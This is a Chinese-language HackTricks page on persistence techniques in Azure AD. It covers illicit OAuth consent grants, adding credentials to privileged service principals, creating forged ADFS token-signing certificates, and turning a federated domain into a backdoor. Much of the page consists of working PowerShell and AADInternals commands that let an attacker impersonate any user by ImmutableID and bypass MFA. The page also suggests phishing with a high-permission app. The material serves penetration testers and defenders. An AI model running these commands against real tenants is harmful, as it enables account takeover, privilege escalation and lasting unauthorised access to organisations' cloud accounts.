Az - Persistence

支持 HackTricks

非法同意授予

默认情况下,任何用户都可以在 Azure AD 中注册应用程序。因此,您可以注册一个需要高影响权限的应用程序(仅针对目标租户),并获得管理员同意(如果您是管理员则批准)——例如代表用户发送邮件、角色管理等。这将使我们能够执行钓鱼攻击,如果成功将非常有成效

此外,您还可以接受该应用程序作为用户,以保持对其的访问。

应用程序和服务主体

拥有应用程序管理员、GA 或具有 microsoft.directory/applications/credentials/update 权限的自定义角色的权限,我们可以向现有应用程序添加凭据(密钥或证书)。

可以针对具有高权限的应用程序添加具有高权限的新应用程序

一个有趣的角色是特权身份验证管理员角色,因为它允许重置全球管理员的密码

该技术还允许绕过 MFA

$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
  • 对于基于证书的身份验证

Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>

联邦 - 令牌签名证书

在本地 AD 上拥有 DA 权限,可以创建和导入有效期非常长的 新令牌签名令牌解密证书。这将允许我们 以任何用户身份登录,只要我们知道他们的 ImuutableID。

**在 ADFS 服务器上以 DA 身份运行以下命令以创建新证书(默认密码 'AADInternals'),将其添加到 ADFS,禁用自动滚动并重启服务:

New-AADIntADFSSelfSignedCertificates

然后,使用 Azure AD 更新证书信息:

Update-AADIntADFSFederationSettings -Domain cyberranges.io

Federation - Trusted Domain

在租户上拥有 GA 权限时,可以添加一个新域(必须经过验证),将其身份验证类型配置为联合,并将该域配置为信任特定证书(以下命令中的 any.sts)和颁发者:

# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

# Get ImmutableID of the user that we want to impersonate. Using Msol module
Get-MsolUser | select userPrincipalName,ImmutableID

# Access any cloud app as the user
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true

参考文献

支持 HackTricks

Last updated